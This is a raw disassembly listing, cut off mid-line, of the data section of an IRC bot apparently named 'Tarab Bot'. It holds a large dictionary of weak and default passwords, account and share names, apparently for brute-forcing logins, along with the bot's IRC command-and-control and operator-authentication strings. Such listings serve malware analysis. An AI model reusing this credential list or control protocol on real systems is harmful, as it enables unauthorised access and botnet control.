.data:0042EFE0o align 10h aBoobs db 'boobs',0 ; DATA XREF: .data:0042EFDCo align 4 aBoob db 'boob',0 ; DATA XREF: .data:0042EFD8o align 10h aBoner db 'boner',0 ; DATA XREF: .data:0042EFD4o align 4 aBomb db 'bomb',0 ; DATA XREF: .data:0042EFD0o align 10h aBoard db 'board',0 ; DATA XREF: .data:0042EFCCo align 4 aBlues db 'blues',0 ; DATA XREF: .data:0042EFC8o align 10h aBlue db 'blue',0 ; DATA XREF: .data:0042EFC4o align 4 aBlowjob db 'blowjob',0 ; DATA XREF: .data:0042EFC0o aBlow db 'blow',0 ; DATA XREF: .data:0042EFBCo align 4 aBloodaxe db 'bloodaxe',0 ; DATA XREF: .data:0042EFB8o align 4 aBlood db 'blood',0 ; DATA XREF: .data:0042EFB4o align 4 aBlondie db 'blondie',0 ; DATA XREF: .data:0042EFB0o aBlonde db 'blonde',0 ; DATA XREF: .data:0042EFACo align 4 aBlack db 'black',0 ; DATA XREF: .data:0042EFA8o align 4 aBitnet db 'bitnet',0 ; DATA XREF: .data:0042EFA4o align 4 aBitmap db 'bitmap',0 ; DATA XREF: .data:0042EFA0o align 4 aBitch db 'bitch',0 ; DATA XREF: .data:0042EF9Co align 4 aBishop db 'bishop',0 ; DATA XREF: .data:0042EF98o align 4 aBird db 'bird',0 ; DATA XREF: .data:0042EF94o align 4 aBios db 'bios',0 ; DATA XREF: .data:0042EF90o align 4 aBinary db 'binary',0 ; DATA XREF: .data:0042EF8Co align 4 aBill db 'bill',0 ; DATA XREF: .data:0042EF88o align 4 aBigfoot db 'bigfoot',0 ; DATA XREF: .data:0042EF84o aBicamera db 'bicamera',0 ; DATA XREF: .data:0042EF80o align 4 aBible db 'bible',0 ; DATA XREF: .data:0042EF7Co align 10h aBeverly db 'beverly',0 ; DATA XREF: .data:0042EF78o aBetty db 'betty',0 ; DATA XREF: .data:0042EF74o align 10h aBetsie db 'betsie',0 ; DATA XREF: .data:0042EF70o align 4 aBeth db 'beth',0 ; DATA XREF: .data:0042EF6Co align 10h aBeta db 'beta',0 ; DATA XREF: .data:0042EF68o align 4 aBeryl db 'beryl',0 ; DATA XREF: .data:0042EF64o align 10h aBerliner db 'berliner',0 ; DATA XREF: .data:0042EF60o align 4 aBerlin db 'berlin',0 ; DATA XREF: .data:0042EF5Co align 4 aBerkeley db 'berkeley',0 ; DATA XREF: .data:0042EF58o align 10h aBeowulf db 'beowulf',0 ; DATA XREF: .data:0042EF54o aBenz db 'benz',0 ; DATA XREF: .data:0042EF50o align 10h aBeloved db 'beloved',0 ; DATA XREF: .data:0042EF4Co aBell db 'bell',0 ; DATA XREF: .data:0042EF48o align 10h aBehead db 'behead',0 ; DATA XREF: .data:0042EF44o align 4 aBegin db 'begin',0 ; DATA XREF: .data:0042EF40o align 10h aBeethove db 'beethove',0 ; DATA XREF: .data:0042EF3Co align 4 aBecky db 'becky',0 ; DATA XREF: .data:0042EF38o align 4 aBeaver db 'beaver',0 ; DATA XREF: .data:0042EF34o align 4 aBeauty db 'beauty',0 ; DATA XREF: .data:0042EF30o align 4 aBeater db 'beater',0 ; DATA XREF: .data:0042EF2Co align 4 aBeast db 'beast',0 ; DATA XREF: .data:0042EF28o align 4 aBear db 'bear',0 ; DATA XREF: .data:0042EF24o align 4 aBeammeup db 'beammeup',0 ; DATA XREF: .data:0042EF20o align 4 aBeach db 'beach',0 ; DATA XREF: .data:0042EF1Co align 10h aBatman db 'batman',0 ; DATA XREF: .data:0042EF18o align 4 aBatch db 'batch',0 ; DATA XREF: .data:0042EF14o align 10h aBassoon db 'bassoon',0 ; DATA XREF: .data:0042EF10o aBass db 'bass',0 ; DATA XREF: .data:0042EF0Co align 10h aBasic db 'basic',0 ; DATA XREF: .data:0042EF08o align 4 aBaseball db 'baseball',0 ; DATA XREF: .data:0042EF04o align 4 aBartman db 'bartman',0 ; DATA XREF: .data:0042EF00o aBart db 'bart',0 ; DATA XREF: .data:0042EEFCo align 4 aBaritone db 'baritone',0 ; DATA XREF: .data:0042EEF8o align 10h aBarf db 'barf',0 ; DATA XREF: .data:0042EEF4o align 4 aBare db 'bare',0 ; DATA XREF: .data:0042EEF0o align 10h aBarber db 'barber',0 ; DATA XREF: .data:0042EEECo align 4 aBarbara db 'barbara',0 ; DATA XREF: .data:0042EEE8o aBanks db 'banks',0 ; DATA XREF: .data:0042EEE4o align 4 aBank db 'bank',0 ; DATA XREF: .data:0042EEE0o align 10h aBandit db 'bandit',0 ; DATA XREF: .data:0042EEDCo align 4 aBananas db 'bananas',0 ; DATA XREF: .data:0042EED8o aBanana db 'banana',0 ; DATA XREF: .data:0042EED4o align 4 aBall db 'ball',0 ; DATA XREF: .data:0042EED0o align 10h aBailey db 'bailey',0 ; DATA XREF: .data:0042EECCo align 4 aBadass db 'badass',0 ; DATA XREF: .data:0042EEC8o align 10h aBackdoor db 'backdoor',0 ; DATA XREF: .data:0042EEC4o align 4 aBacchus db 'bacchus',0 ; DATA XREF: .data:0042EEC0o aBaby db 'baby',0 ; DATA XREF: .data:0042EEBCo align 4 aBabe db 'babe',0 ; DATA XREF: .data:0042EEB8o align 4 aAzure db 'azure',0 ; DATA XREF: .data:0042EEB4o align 4 aAztecs db 'aztecs',0 ; DATA XREF: .data:0042EEB0o align 4 aAuthoriz db 'authoriz',0 ; DATA XREF: .data:0042EEACo align 10h aAttack db 'attack',0 ; DATA XREF: .data:0042EEA8o align 4 aAtom db 'atom',0 ; DATA XREF: .data:0042EEA4o align 10h aAtmosphe db 'atmosphe',0 ; DATA XREF: .data:0042EEA0o align 4 aAthena db 'athena',0 ; DATA XREF: .data:0042EE9Co align 4 aAsshole db 'asshole',0 ; DATA XREF: .data:0042EE98o aAsian db 'asian',0 ; DATA XREF: .data:0042EE94o align 4 aArtist db 'artist',0 ; DATA XREF: .data:0042EE90o align 4 aArthur db 'arthur',0 ; DATA XREF: .data:0042EE8Co align 4 aArrow db 'arrow',0 ; DATA XREF: .data:0042EE88o align 4 aArmy db 'army',0 ; DATA XREF: .data:0042EE84o align 4 aArlene db 'arlene',0 ; DATA XREF: .data:0042EE80o align 4 aAriadne db 'ariadne',0 ; DATA XREF: .data:0042EE7Co aAria db 'aria',0 ; DATA XREF: .data:0042EE78o align 4 aApril db 'april',0 ; DATA XREF: .data:0042EE74o align 4 aApollo13 db 'apollo13',0 ; DATA XREF: .data:0042EE70o align 10h aAnything db 'anything',0 ; DATA XREF: .data:0042EE6Co align 4 aAnvils db 'anvils',0 ; DATA XREF: .data:0042EE68o align 4 aAnthropo db 'anthropo',0 ; DATA XREF: .data:0042EE64o align 10h aAnthrax db 'anthrax',0 ; DATA XREF: .data:0042EE60o aAnswer db 'answer',0 ; DATA XREF: .data:0042EE5Co align 10h aAnonymou db 'anonymou',0 ; DATA XREF: .data:0042EE58o align 4 aAnon db 'anon',0 ; DATA XREF: .data:0042EE54o align 4 aAnnette db 'annette',0 ; DATA XREF: .data:0042EE50o aAnne db 'anne',0 ; DATA XREF: .data:0042EE4Co align 4 aAnna db 'anna',0 ; DATA XREF: .data:0042EE48o align 4 aAnita db 'anita',0 ; DATA XREF: .data:0042EE44o align 4 aAnimals db 'animals',0 ; DATA XREF: .data:0042EE40o aAnimal db 'animal',0 ; DATA XREF: .data:0042EE3Co align 4 aAngie db 'angie',0 ; DATA XREF: .data:0042EE38o align 4 aAngerine db 'angerine',0 ; DATA XREF: .data:0042EE34o align 4 aAngela db 'angela',0 ; DATA XREF: .data:0042EE30o align 10h aAnfo db 'anfo',0 ; DATA XREF: .data:0042EE2Co align 4 aAndy db 'andy',0 ; DATA XREF: .data:0042EE28o align 10h aAndromac db 'andromac',0 ; DATA XREF: .data:0042EE24o align 4 aAndroid db 'android',0 ; DATA XREF: .data:0042EE20o aAndrea db 'andrea',0 ; DATA XREF: .data:0042EE1Co align 4 aAnchor db 'anchor',0 ; DATA XREF: .data:0042EE18o align 4 aAnarchy db 'anarchy',0 ; DATA XREF: .data:0042EE14o aAnarchis db 'anarchis',0 ; DATA XREF: .data:0042EE10o align 4 aAnalog db 'analog',0 ; DATA XREF: .data:0042EE0Co align 10h aAnal db 'anal',0 ; DATA XREF: .data:0042EE08o align 4 aAmorphou db 'amorphou',0 ; DATA XREF: .data:0042EE04o align 4 aAmerica db 'america',0 ; DATA XREF: .data:0042EE00o aAmber db 'amber',0 ; DATA XREF: .data:0042EDFCo align 4 aAmanda db 'amanda',0 ; DATA XREF: .data:0042EDF8o align 4 aAmadeus db 'amadeus',0 ; DATA XREF: .data:0042EDF4o aAlphabet db 'alphabet',0 ; DATA XREF: .data:0042EDF0o align 10h aAllow db 'allow',0 ; DATA XREF: .data:0042EDECo align 4 aAllison db 'allison',0 ; DATA XREF: .data:0042EDE8o aAlison db 'alison',0 ; DATA XREF: .data:0042EDE4o align 4 aAlisa db 'alisa',0 ; DATA XREF: .data:0042EDE0o align 10h aAlicia db 'alicia',0 ; DATA XREF: .data:0042EDDCo align 4 aAlice db 'alice',0 ; DATA XREF: .data:0042EDD8o align 10h aAliases db 'aliases',0 ; DATA XREF: .data:0042EDD4o aAlias db 'alias',0 ; DATA XREF: .data:0042EDD0o align 10h aAlgebra db 'algebra',0 ; DATA XREF: .data:0042EDCCo aAlexande db 'alexande',0 ; DATA XREF: .data:0042EDC8o align 4 aAlex db 'alex',0 ; DATA XREF: .data:0042EDC4o align 4 aAlert db 'alert',0 ; DATA XREF: .data:0042EDC0o align 4 aAlbert db 'albert',0 ; DATA XREF: .data:0042EDBCo align 4 aAlbatros db 'albatros',0 ; DATA XREF: .data:0042EDB8o align 4 aAlbany db 'albany',0 ; DATA XREF: .data:0042EDB4o align 10h aAlaska db 'alaska',0 ; DATA XREF: .data:0042EDB0o align 4 aAirplane db 'airplane',0 ; DATA XREF: .data:0042EDACo align 4 aAids db 'aids',0 ; DATA XREF: .data:0042EDA8o align 4 aAerobics db 'aerobics',0 ; DATA XREF: .data:0042EDA4o align 4 aAdult db 'adult',0 ; DATA XREF: .data:0042EDA0o align 10h aAdrianna db 'adrianna',0 ; DATA XREF: .data:0042ED9Co align 4 aAdrian db 'adrian',0 ; DATA XREF: .data:0042ED98o align 4 aAdam db 'adam',0 ; DATA XREF: .data:0042ED94o align 4 aAction db 'action',0 ; DATA XREF: .data:0042ED90o align 4 aAccount db 'account',0 ; DATA XREF: .data:0042ED8Co aAcademic db 'academic',0 ; DATA XREF: .data:0042ED84o align 4 aAcademia db 'academia',0 ; DATA XREF: .data:0042ED80o align 4 a000000 db '000000',0 ; DATA XREF: .data:0042ED7Co align 4 a00000 db '00000',0 ; DATA XREF: .data:0042ED78o align 4 a0000 db '0000',0 ; DATA XREF: .data:0042ED74o align 4 a000 db '000',0 ; DATA XREF: .data:0042ED70o aTesting db 'testing',0 ; DATA XREF: .data:0042ED6Co aDeath db 'death',0 ; DATA XREF: .data:0042ED68o align 10h a00 db '00',0 ; DATA XREF: .data:0042ED64o align 4 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .data:0042ED5Co align 10h aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .data:0042ED58o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .data:0042ED54o aXxxxxx db 'xxxxxx',0 ; DATA XREF: .data:0042ED50o align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: .data:0042ED4Co align 4 aXxxx db 'xxxx',0 ; DATA XREF: .data:0042ED48o align 4 aXxx db 'xxx',0 ; DATA XREF: .data:0042ED44o aXx db 'xx',0 ; DATA XREF: .data:0042ED40o align 4 asc_433F74: ; DATA XREF: .data:0042ED3Co unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: .data:0042ED38o aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .data:0042ED34o align 10h aUwontguessme db 'uwontguessme',0 ; DATA XREF: .data:0042ED30o align 10h aMirc_0 db 'mirc',0 ; DATA XREF: .data:0042ED2Co align 4 aKiddie db 'kiddie',0 ; DATA XREF: .data:0042ED28o align 10h aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .data:0042ED24o align 10h aScript db 'script',0 ; DATA XREF: .data:0042ED20o align 4 aHax0r db 'hax0r',0 ; DATA XREF: .data:0042ED1Co align 10h aHacker db 'hacker',0 ; DATA XREF: .data:0042ED18o align 4 aL337 db 'l337',0 ; DATA XREF: .data:0042ED14o align 10h aL33t db 'l33t',0 ; DATA XREF: .data:0042ED10o align 4 aLeet db 'leet',0 ; DATA XREF: .data:0042ED0Co align 10h aKiller db 'killer',0 ; DATA XREF: .data:0042ED08o align 4 a0wn3d db '0wn3d',0 ; DATA XREF: .data:0042ED04o align 10h aW00t db 'w00t',0 ; DATA XREF: .data:0042ED00o align 4 aHeaven db 'heaven',0 ; DATA XREF: .data:0042ECFCo align 10h aSpaceman db 'spaceman',0 ; DATA XREF: .data:0042ECF8o align 4 aSatanic db 'satanic',0 ; DATA XREF: .data:0042ECF4o aSatanik db 'satanik',0 ; DATA XREF: .data:0042ECF0o aSatan db 'satan',0 ; DATA XREF: .data:0042ECECo align 4 aGobo db 'gobo',0 ; DATA XREF: .data:0042ECE8o align 4 aMatthew db 'Matthew',0 ; DATA XREF: .data:0042ECE4o aMatt db 'Matt',0 ; DATA XREF: .data:0042ECE0o align 4 aMat db 'Mat',0 ; DATA XREF: .data:0042ECDCo aPw db 'pw',0 ; DATA XREF: .data:0042ECD8o align 4 aMypass123 db 'mypass123',0 ; DATA XREF: .data:0042ECD4o align 10h aMypass db 'mypass',0 ; DATA XREF: .data:0042ECD0o align 4 aPw123 db 'pw123',0 ; DATA XREF: .data:0042ECCCo align 10h aAdmin123 db 'admin123',0 ; DATA XREF: .data:0042ECC8o align 4 aMypc123 db 'mypc123',0 ; DATA XREF: .data:0042ECC4o aMypc db 'mypc',0 ; DATA XREF: .data:0042ECC0o align 4 aLove db 'love',0 ; DATA XREF: .data:0042ECBCo align 4 aPwd db 'pwd',0 ; DATA XREF: .data:0042ECB8o aLogin db 'login',0 ; DATA XREF: .data:0042ECB4o align 10h aHome db 'home',0 ; DATA XREF: .data:0042ECB0o align 4 aZxcv db 'zxcv',0 ; DATA XREF: .data:0042ECACo align 10h aYxcv db 'yxcv',0 ; DATA XREF: .data:0042ECA8o align 4 aQwer db 'qwer',0 ; DATA XREF: .data:0042ECA4o align 10h aSecret db 'secret',0 ; DATA XREF: .data:0042ECA0o align 4 aAsdf db 'asdf',0 ; DATA XREF: .data:0042EC9Co align 10h aPc db 'pc',0 ; DATA XREF: .data:0042EC98o align 4 aWin db 'win',0 ; DATA XREF: .data:0042EC94o aTest123 db 'test123',0 ; DATA XREF: .data:0042EC90o aAbc db 'abc',0 ; DATA XREF: .data:0042EC8Co aAaa db 'aaa',0 ; DATA XREF: .data:0042EC88o aA_1: ; DATA XREF: .data:0042EC84o unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: .data:0042EC80o align 4 aFucked db 'fucked',0 ; DATA XREF: .data:0042EC7Co align 4 aNetfuck db 'netfuck',0 ; DATA XREF: .data:0042EC78o aIrule db 'irule',0 ; DATA XREF: .data:0042EC74o align 4 aOwned db 'owned',0 ; DATA XREF: .data:0042EC70o align 4 a0wned db '0wned',0 ; DATA XREF: .data:0042EC6Co align 4 aNetDevil db 'net-devil',0 ; DATA XREF: .data:0042EC68o align 4 aNetdevil db 'netdevil',0 ; DATA XREF: .data:0042EC64o align 4 aDevil db 'devil',0 ; DATA XREF: .data:0042EC60o align 4 aNilez db 'Nilez',0 ; DATA XREF: .data:0042EC5Co align 4 aFoobar db 'foobar',0 ; DATA XREF: .data:0042EC58o align 4 aGod db 'god',0 ; DATA XREF: .data:0042EC54o aSex db 'sex',0 ; DATA XREF: .data:0042EC50o aPat db 'pat',0 ; DATA XREF: .data:0042EC4Co aPatrick db 'patrick',0 ; DATA XREF: .data:0042EC48o aAlpha db 'alpha',0 ; DATA XREF: .data:0042EC44o align 4 a007 db '007',0 ; DATA XREF: .data:0042EC40o a123abc db '123abc',0 ; DATA XREF: .data:0042EC3Co align 4 a1234qwer db '1234qwer',0 ; DATA XREF: .data:0042EC38o align 10h a123123 db '123123',0 ; DATA XREF: .data:0042EC34o align 4 a121212 db '121212',0 ; DATA XREF: .data:0042EC30o align 10h a111111 db '111111',0 ; DATA XREF: .data:0042EC2Co align 4 a110 db '110',0 ; DATA XREF: .data:0042EC28o a2600 db '2600',0 ; DATA XREF: .data:0042EC24o align 4 a2002 db '2002',0 ; DATA XREF: .data:0042EC1Co align 4 aXp_0 db 'xp',0 ; DATA XREF: .data:0042EC18o align 10h aEnable db 'enable',0 ; DATA XREF: .data:0042EC14o align 4 aGodblessyou db 'godblessyou',0 ; DATA XREF: .data:0042EC10o aIhavenopass db 'ihavenopass',0 ; DATA XREF: .data:0042EC0Co a123asd db '123asd',0 ; DATA XREF: .data:0042EC08o align 4 aSuper db 'super',0 ; DATA XREF: .data:0042EC04o align 10h aInternet db 'Internet',0 ; DATA XREF: .data:0042EC00o align 4 a123qwe db '123qwe',0 ; DATA XREF: .data:0042EBF8o align 4 aSybase db 'sybase',0 ; DATA XREF: .data:0042EBF4o align 4 aAbc123 db 'abc123',0 ; DATA XREF: .data:0042EBECo align 4 aAbcd db 'abcd',0 ; DATA XREF: .data:0042EBE8o align 4 aPasswd db 'passwd',0 ; DATA XREF: .data:0042EBE0o align 4 aPass_0 db 'pass',0 ; DATA XREF: .data:0042EBDCo align 4 a88888888 db '88888888',0 ; DATA XREF: .data:0042EBD8o align 4 a11111111 db '11111111',0 ; DATA XREF: .data:0042EBD4o align 4 a111 db '111',0 ; DATA XREF: .data:0042EBD0o a54321 db '54321',0 ; DATA XREF: .data:0042EBCCo align 10h a654321 db '654321',0 ; DATA XREF: .data:0042EBC8o align 4 a123456789 db '123456789',0 ; DATA XREF: .data:0042EBC4o align 4 a12345678 db '12345678',0 ; DATA XREF: .data:0042EBC0o align 10h a1234567 db '1234567',0 ; DATA XREF: .data:0042EBBCo a123456 db '123456',0 ; DATA XREF: .data:0042EBB8o align 10h a12345 db '12345',0 ; DATA XREF: .data:0042EBB4o align 4 a1234 db '1234',0 ; DATA XREF: .data:0042EBB0o align 10h a123 db '123',0 ; DATA XREF: .data:0042EBACo a12 db '12',0 ; DATA XREF: .data:0042EBA8o align 4 a1_0: ; DATA XREF: .data:0042EBA4o unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: .data:0042EBA0o aChangeme_0 db 'Changeme',0 ; DATA XREF: .data:0042EB9Co align 10h aChangeme db 'changeme',0 ; DATA XREF: .data:0042EB98o align 4 aLinux db 'linux',0 ; DATA XREF: .data:0042EB94o align 4 aUnix db 'unix',0 ; DATA XREF: .data:0042EB90o align 4 aLocal db 'LOCAL',0 ; DATA XREF: .data:0042EB8Co align 4 aPepsi db 'pepsi',0 ; DATA XREF: .data:0042EB88o align 4 aServer_0 db 'SERVER',0 ; DATA XREF: .data:0042EB84o align 4 aSystem db 'SYSTEM',0 ; DATA XREF: .data:0042EB80o align 4 aBackup db 'BACKUP',0 ; DATA XREF: .data:0042EB7Co align 4 aAccess db 'ACCESS',0 ; DATA XREF: .data:0042EB74o align 4 aTest db 'TEST',0 ; DATA XREF: .data:0042EB70o align 4 aEdu db 'edu',0 ; DATA XREF: .data:0042EB6Co aOwner_1 db 'Owner',0 ; DATA XREF: .data:0042EB68o align 10h aOwner_0 db 'OWNER',0 ; DATA XREF: .data:0042EB64o align 4 aDemo db 'DEMO',0 ; DATA XREF: .data:0042EB60o align 10h aFiles db 'FILES',0 ; DATA XREF: .data:0042EB5Co align 4 aRead db 'READ',0 ; DATA XREF: .data:0042EB58o align 10h aBoth db 'BOTH',0 ; DATA XREF: .data:0042EB54o align 4 aLadeda db 'ladeda',0 ; DATA XREF: .data:0042EB50o align 10h aFull_0 db 'FULL',0 ; DATA XREF: .data:0042EB4Co align 4 aWrite db 'WRITE',0 ; DATA XREF: .data:0042EB48o align 10h aShare_0 db 'SHARE',0 ; DATA XREF: .data:0042EB44o align 4 aTemp db 'TEMP',0 ; DATA XREF: .data:0042EB40o align 10h aPassword db 'PASSWORD',0 ; DATA XREF: .data:0042EB3Co align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: .data:0042EB38o align 4 aRoot_0 db 'ROOT',0 ; DATA XREF: .data:0042EB30o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: .data:0042EB2Co align 4 aBla db 'bla',0 ; DATA XREF: .data:0042EB28o aFubar db 'fubar',0 ; DATA XREF: .data:0042EB24o align 10h aAdministrato_2 db 'ADMINISTRATOR',0 ; DATA XREF: .data:0042EB18o align 10h aDb2 db 'db2',0 ; DATA XREF: .data:0042EB04o aOracle db 'oracle',0 ; DATA XREF: .data:0042EB00o ; .data:0042EBF0o align 4 aDba db 'dba',0 ; DATA XREF: .data:0042EAFCo aDatabase db 'database',0 ; DATA XREF: .data:0042EAF8o ; .data:0042EBE4o align 4 aDefault db 'default',0 ; DATA XREF: .data:0042EAF4o ; .data:0042F284o aGuest_0 db 'guest',0 ; DATA XREF: .data:0042EAF0o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0042EAECo align 4 aTeacher db 'teacher',0 ; DATA XREF: .data:0042EAE8o ; .data:00430218o aStudent db 'student',0 ; DATA XREF: .data:0042EAE4o ; .data:00430160o aOwner db 'owner',0 ; DATA XREF: .data:0042EAE0o align 10h aComputer db 'computer',0 ; DATA XREF: .data:0042EADCo ; .data:0042EBFCo align 4 aRoot db 'root',0 ; DATA XREF: .data:0042EAD8o ; .data:0042EB34o align 4 aStaff db 'staff',0 ; DATA XREF: .data:0042EAD4o align 4 aAdmin db 'admin',0 ; DATA XREF: .data:0042EAD0o align 4 aAdmins db 'admins',0 ; DATA XREF: .data:0042EACCo align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:0042EAC8o aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0042EAC4o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:0042EAC0o align 4 aAdministrato_1 db 'administrator',0 ; DATA XREF: .data:0042EABCo ; .data:0042EB20o align 4 aTarabTool_0 db 'Tarab tool',0 ; DATA XREF: .data:off_42EA08o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: .data:off_42EA04o dword_434460 dd 72023602h, 28201F62h, 2E637269h, 1F6C1F70h, 2202967h ; DATA XREF: sub_40E48A+340o dd 2002BBBBh, 746F4220h, 61747320h, 64657472h, 2Eh dword_434488 dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40E48A+26Eo unk_434494 db 2 ; DATA XREF: sub_40E961+F2o db 36h, 2, 72h db 62h ; b db 20h, 28h, 69h db 72h ; r db 63h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aConnectedToS_ db 'Connected to %s.',0 align 10h aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40EAC7+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40EAC7+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+623Ao align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+6225o align 4 dword_434508 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+6211o dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dword_434538 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+61F4o dd 2BBBB02h aTarabBotAccept db ' Tarab Bot accepted.',0 align 4 dword_434568 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+619Fo dd 2BBBB02h aTarabBotFail_8 db ' *Tarab Bot Failed host auth by: (%s!%s).',0 align 10h dword_4345B0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+6132o dd 2BBBB02h aTarabBotFail_9 db ' *Tarab Bot Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+6123o ; sub_40EC43+6190o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+610Fo ; sub_40EC43+617Co align 10h asc_434640: ; DATA XREF: sub_40EC43+60DFo unicode 0, <~>,0 dword_434644 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+608Eo dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_434678 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5FE0o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_4346B4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5FD5o dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 10h dword_4346F0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5FC2o ; sub_40EC43+6022o dd 2BBBB02h aUserSLoggedOut db ' User %s logged out.',0 align 10h dword_434720 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5F84o dd 2BBBB02h, 73252020h, 0 unk_434740 db 2 ; DATA XREF: sub_40EC43+5F60o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStar_2 db ' Failed to start secure thread, error: <%d>.',0 align 4 dword_43478C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_40EC43+5EFCo dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EC43+5EF6o align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_40EC43+5EEFo align 4 aSec db 'sec',0 ; DATA XREF: sub_40EC43+5E94o aSecure db 'secure',0 ; DATA XREF: sub_40EC43+5E83o align 4 unk_4347D8 db 2 ; DATA XREF: sub_40EC43+5E63o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_3 db 'Failed to start server thread, error: <%d>.',0 dword_434820 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EC43+5D40o dword_434830 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EC43+5D3Bo dword_43483C dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EC43+5D2Bo dword_434848 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EC43+5D26o dword_434858 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5CF0o dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EC43:loc_414926o align 4 dword_434898 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5CCEo dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EC43:loc_414904o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+5C98o align 4 dword_4348E8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5C4Co dd 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_434924 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5C0Eo dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh, 0 dword_434950 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EC43+5BE4o dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_434998 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EC43+5B8Bo dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h dword_4349C4 dd 627573h ; DATA XREF: sub_40EC43+5B65o dword_4349C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5B13o dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh dword_4349F0 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: 